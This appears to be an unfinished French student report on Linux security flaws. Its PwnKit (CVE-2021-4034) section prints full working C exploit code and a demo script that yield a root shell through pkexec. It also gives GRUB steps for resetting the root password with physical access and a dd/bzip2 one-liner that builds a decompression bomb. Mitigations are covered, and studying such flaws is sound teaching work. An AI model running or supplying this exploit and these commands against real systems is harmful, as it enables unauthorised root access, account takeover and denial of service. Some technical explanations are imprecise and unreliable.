

SYSG5 : Exploitation de failles de sécurité LINUX

Antoine Ghigny - 56359

29/10/2022

Table des matières

1	Introduction	2
2	Préparation	2
3	Privilege Escalation : Pwnkit	3
3.1	Origine de la faille	3
3.2	Les appels systèmes utilisés dans le cadre de ce programme	3
3.3	Comment cela fonctionne ? (à modifier)	3
3.4	Détails techniques sur la faille (à compléter)	4
3.5	Comment savoir si la faille est exploitable sur le système ?	4
3.6	Démonstration	5
3.6.1	Le code C (à modifier)	5
3.6.2	Script qui permet d'exécuter la faille	6
3.7	Comment a été corrigée cette faille (à modifier)	7
4	Modifier le mot de passe administrateur sans le connaître	7
4.1	Démonstration : GRUB	7
4.2	Pourquoi ça fonctionne ainsi ? Pourquoi est-il si simple de changer le mot de passe administrateur ?	7
4.3	Comment protéger le grub pour ne plus que cette faille soit possible . .	8
5	Bombe zip	8
5.1	Qu'est-ce qu'une zip bomb ?	8
5.2	Démonstration : Comment faire une zip bomb ?	8
6	Conclusion	8

1 Introduction

Dans ce rapport, je vais détailler plusieurs failles découvertes autour de mes recherches. L'origine de ces failles, la raison de leurs existence. Le moyen de les exploiter mais également comment s'en protéger.

Je vais tout d'abord parler d'une faille permettant à n'importe quel utilisateur du système d'augmenter ses privilèges à ceux de root. Une faille présente depuis 12 ans et corrigée début 2022.

Je vais ensuite expliquer comment modifier le mot de passe root depuis le grub sans le connaître. Pourquoi ce n'est pas sécurisé et comment s'en protéger.

Je vais dans le cadre de ce cours du système introduire des concepts

2 Préparation

Afin de pouvoir tester certaines failles qui ont été corrigées via des mises à jour. J'ai réalisé un l'environnement suivant.

OS :

- Debian 10
- Image : debian-10.7.0-amd64-DVD-1.iso [1]
- System info : Linux debian 4.19.0-14-amd64 #1

SUDO :

- Package version : 1.8.27-1+deb10u2
- Checksum (sha256) :
ca4a94e0a49f59295df5522d896022444cbbafdec4d94326c1a7f333fd030038
- Source code : sudo-1.8.27.tar.gz [1]

Pour configurer le réseau avec celui de l'école j'ai encodé les éléments suivant

- IP : 10.0.255.20
- Gateway : 10.0.255.115
- DNS : 195.238.2.21 195.238.2.21 8.8.8.8

Les partitions à paramétrer ont été les suivantes :

- 1 : Changer la partition de fat16 à EFI
- 2 : biosgrub
- 5 : swap
- 6 : 15 GB : /
- 7 : 10 GB : /home
- 8 : 10GB : /usr

Et enfin j'ai ajouté l'utilisateur au groupe sudo comme c'est généralement le cas sur un environnement linux.

```
su -  
addgroup user sudo  
sudo apt-get update
```

Afin de pouvoir installer des packets, il faudra update pour télécharger les informations des packages des sources configurées.

Pour cela, accédez en écriture au fichier **/etc/apt/sources.list**

Mettez en commentaire la ligne concernant le cdrom installé [Debian GNU/Linux...]

Ajoutez au fichier les 2 lignes suivantes :

```
deb http://deb.debian.org/ buster-updates main contrib
deb-src http://ftp.debian.org/debian/ buster main contrib
```

Enfin, sauvez le fichier et mettez téléchargez les packets via la commande suivante

```
sudo apt-get update
```

Votre environnement de développement est maintenant prêt.

3 Privilege Escalation : Pwnkit

3.1 Origine de la faille

Polkit est bibliothèque sur laquelle a été découvert cette vulnérabilité. Il a été créé à la base pour permettre aux développeurs de réaliser des actions qui nécessitaient des privilèges élevés sur le système. On peut le comparer à sudo qui fait essentiellement la même chose côté utilisateur.

Cette faille va s'intéresser à l'utilisation de la commande **pkexec** qui fait partie de la bibliothèque polkit. L'appel système pkexec est apparu en 2009 et inclus dans pratiquement toutes les distributions linux actuelles.

Cette faille de sécurité est présente depuis 12 ans et récemment mise en évidence par l'équipe de recherche Qualys en février 2022. [7]

Cette faille permet à n'importe quel attaquant qui possède un compte sur un système linux de devenir le root du système.

3.2 Les appels systèmes utilisés dans le cadre de ce programme

- **pkexec** C'est un programme utilisé à exécuter un programme en tant qu'un autre utilisateur. Si l'utilisateur n'est pas spécifié, le programme sera exécuté en mode root. [3]
- **setuid** [5]
- **seteuid** [4]
-

3.3 Comment cela fonctionne ? (à modifier)

pkexec est une commande comme les autres, on peut lui passer des arguments

Mais il y a un gros problème dans la façon dont il va être implémentée, si l'argument argc est à la valeur NULL, le fonctionnement de pkexec va être dérégulé.

En manipulant des variables d'environnements et en créant des dossiers qui portent le même nom que ce qu'on va inscrire dans les variables d'environnement. Il est possible de charger un bout de code à un endroit contrôlé par l'attaquant.

3.4 Détails techniques sur la faille (à compléter)

Le début de la fonction `main()` de `pkexec` traite les arguments de ligne de commande (lignes 534-568), et recherche le programme à exécuter, si son chemin n'est pas absolu, dans les répertoires de la variable d'environnement `PATH` (lignes 610-640) :

```
435  main (int argc, char *argv[])
436  {
...
534      for (n = 1; n < (guint) argc; n++)
535      {
...
568      }
...
610      path = g_strdup (argv[n]);
...
629      if (path[0] != '/')
630      {
...
632          s = g_find_program_in_path (path);
...
639          argv[n] = path = s;
640      }
```

Malheureusement, si le nombre d'arguments de ligne de commande `argc` est égal à 0, ce qui signifie que si la liste d'arguments `argv` que nous passons à `execve()` est vide, c'est-à-dire `NULL`, alors `argv[0]` est `NULL`. Il s'agit du terminateur de la liste d'arguments. Donc :

- à la ligne 534, l'entier `n` est définitivement défini sur 1 ;
- À la ligne 610, le chemin du pointeur est lu hors limites à partir de `argv[1]` ;
- À la ligne 639, le pointeur `S` est écrit hors limites dans `argv[1]`.
- À la ligne 610, le chemin du programme à exécuter est lu hors limites à partir de `argv[1]` (c'est-à-dire `envp[0]`), et pointe vers « value » ;
- ...

3.5 Comment savoir si la faille est exploitable sur le système ?

La **version de `pkexec`** doit être inférieure à **0.105**. Il est possible de vérifier cela sur la machine de la victime en tapant la commande ci dessous :

```
pkexec --version
```

3.6 Démonstration

3.6.1 Le code C (à modifier)

```
// gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/signal.h>

// 64-bit library
#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif
// 32-bit library
#ifdef __i386__
const char service_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
#endif

void entry()
{
    int res;
    FILE *fp;
    char buf[PATH_MAX];
    int pipefd[2];
    char *cmd;
    int argc;
    char **argv;
    register unsigned long *rbp asm ("rbp");

    argc = *(int *) (rbp+1);
    argv = (char **) rbp+2;

    res = mkdir("GCONV_PATH=.", 0777);
    if (res == -1 && errno != EEXIST)
    {
        perror("Failed to create directory");
        _exit(1);
    }

    res = creat("GCONV_PATH=./pkexec", 0777);

    res = mkdir(".pkexec", 0777);

    fp = fopen(".pkexec/gconv-modules", "w+");
    if (fp == NULL)
    {
        perror("Failed to open output file");
        _exit(1);
    }
    if (fputs("module UTF-8// PKEXEC// pkexec 2", fp) < 0)
    {
        perror("Failed to write config");
        _exit(1);
    }
    fclose(fp);

    buf[readlink("/proc/self/exe", buf, sizeof(buf))] = 0;
    res = symlink(buf, ".pkexec/pkexec.so");
    if (res == -1)
    {

```

```

        perror("Failed to copy file");
        _exit(1);
    }

    pipe(pipefd);
    if (fork() == 0)
    {
        close(pipefd[1]);

        buf[read(pipefd[0], buf, sizeof(buf)-1)] = 0;
        if (strstr(buf, "pkexec --version") == buf) {
            puts("Exploit failed. Target is most likely patched.");
        }
        exit(0);
    }

    close(pipefd[0]);

    dup2(pipefd[1], 2);
    close(pipefd[1]);

    cmd = NULL;
    if (argc > 1) {
        cmd = memcpy(argv[1]-4, "CMD=", 4);
    }
    char *args[] = {NULL};
    char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
    execve("/usr/bin/pkexec", args, env);

    // In case pkexec is not in /usr/bin/
    execvpe("pkexec", args, env);

    _exit(0);
}

void gconv() {}
void gconv_init()
{
    close(2);
    dup2(1, 2);

    char *cmd = getenv("CMD");

    setresuid(0, 0, 0);
    setresgid(0, 0, 0);

    if (cmd) {
        execve("/bin/sh", (char *[]){"/bin/sh", "-c", cmd, NULL}, NULL);
    } else {
        // Try interactive bash first
        execve("/bin/bash", (char *[]){"-i", NULL}, NULL);

        // In case interactive bash was not possible
        execve("/bin/sh", (char *[]){"/bin/sh", NULL}, NULL);
    }
    exit(0);
}

```

3.6.2 Script qui permet d'exécuter la faille

```

#!/bin/bash
#NOM      : Demo
#OBJET    : réservé au makefile
#AUTEUR   : Antoine Ghigny - 563459
clear
C='\033[44m'
E='\033[32m\033[1m'
W='\033[31m\033[1m'

```

```

N='\033[0m'
clear
echo "Démonstration de la faille de sécurité permettant de passer en root"
echo "-----"
echo -e "${C}          --> Enter pour continuer${N}"
read
sleep 1
echo -e "${E}Vous êtes actuellement l'utilisateur : ${N}"
echo
id
echo
echo -e "${E}Exécution du programme : ${N}"
echo
./exploit

```

3.7 Comment a été corrigée cette faille (à modifier)

Cette faille a été corrigée dans la version 0.105 de pkexec.

4 Modifier le mot de passe administrateur sans le connaître

4.1 Démonstration : GRUB

1. **Eteindre le pc** et après avoir rallumé l'ordinateur, ouvrir les options avancées et **ouvrir Grub**. Il s'agit d'un programme d'ammorçage du chargement d'un système d'exploitation. C'est ce qui fait le lien entre le bios et le système d'exploitation. Avant que le système ne soit chargé ou lancé.
2. Entrer en mode édition via la touche 'E'. Dans le menu GRUB, recherchez la ligne du noyau commençant par `linux /boot/` et ajoutez cette ligne à la fin.

```
init=/bin/bash
```

3. Sauvegardez les changements via en appuyant sur **CTRL + X** et rebooter en mode single-user mode.
4. Dans le terminal, indiquez la ligne

```
mount -o remount,rw /
```

5. Une fois cela fait, vous pouvez modifier le password administrateur via cette la commande ci-dessous, vous n'aurez qu'à entrer le nouveau mot de passe et une autre fois pour confirmer. Il suffit de redémarrer le système et le password administrateur aura été modifié.

```
passwd root
```

4.2 Pourquoi ça fonctionne ainsi ? Pourquoi est-il si simple de changer le mot de passe administrateur ?

Les mots de passe sont destinés à empêcher l'accès de l'extérieur (réseau, Internet), et ils le font. Cependant, l'accès physique est un accès root.

À moins que vous ne cryptiez l'intégralité de votre partition, il est toujours possible de démarrer à partir d'un disque optique ou d'un lecteur flash et d'accéder à tous vos fichiers. De cette façon, vous pouvez également modifier les fichiers qui stockent les mots de passe des utilisateurs.

Donc si quelqu'un peut toucher à votre machine, il peut y entrer.

4.3 Comment protéger le grub pour ne plus que cette faille soit possible

Il est possible d'ajouter un mot de passe à grub.

Un mot de passe sera alors requis pour modifier les entrées du menu mais pas pour démarrer les entrées de menu existantes.

Pour cela, créez un mot de passe avec la commande suivante. Vous aurez à entrer un mot de passe, confirmer et ne surtout pas oublier le mot de passe que vous avez encodé.

```
grub2-setpassword
```

Cette commande créera ou mettra à jour le contenu de `/boot/grub2/user.cfg` avec le mot de passe hashé. [2]

5 Bombe zip

5.1 Qu'est-ce qu'une zip bomb ?

Une zip bomb est un fichier compressé de quelques MO qui contient énormément de données présente sous formes d'octets, ce qui va amener à saturer le disque dur. Le système va manquer de mémoire et se bloquer dans le processus.

5.2 Démonstration : Comment faire une zip bomb ?

Entrez cette commande dans le terminal.

Cela compresses 100 To de données dans un fichier d'environ 14,9 Mo. Ainsi, lorsque quelqu'un essaie de l'extraire, il devrait s'étendre à plus de 1300000x sa taille et leur disque dur devrait être rempli de caractères nuls !

```
dd if=/dev/zero bs=10G count=10000 | bzip2 -c > zipBomb.bz2
```

Il suffit alors d'extraire le fichier via la commande suivante :

```
bzip2 -d zipBomb.bz2
```

6 Conclusion

Références

- [1] [cve-2021-3156] exploiting sudo heap overflow on debian 10. <https://syst3mfailure.io/sudo-heap-overflow#:~:text=Image%3A%20debian%2D10.7.0%2Damd64%2DDVD%2D1.iso>. (Accessed on 11/16/2022).

- [2] How to protect grub2 from booting kernel without password in linux | golangcloud. <https://www.golangcloud.com/protect-grub2-booting-kernel-without-password/>. (Accessed on 11/16/2022).
- [3] pkexec(1) : Execute command as another user - linux man page. <https://linux.die.net/man/1/pkexec>. (Accessed on 11/16/2022).
- [4] setuid(2) - linux manual page. <https://man7.org/linux/man-pages/man2/setuid.2.html>. (Accessed on 11/16/2022).
- [5] setuid(2) - linux manual page. <https://man7.org/linux/man-pages/man2/setuid.2.html>. (Accessed on 11/16/2022).
- [6] Arthepsy. Arthepsy/cve-2021-4034 : Poc for pwnkit : Local privilege escalation vulnerability in polkit's pkexec (cve-2021-4034).
- [7] Director Bharat Jogi. Pwnkit : Local privilege escalation vulnerability discovered in polkit's pkexec (cve-2021-4034), Feb 2022.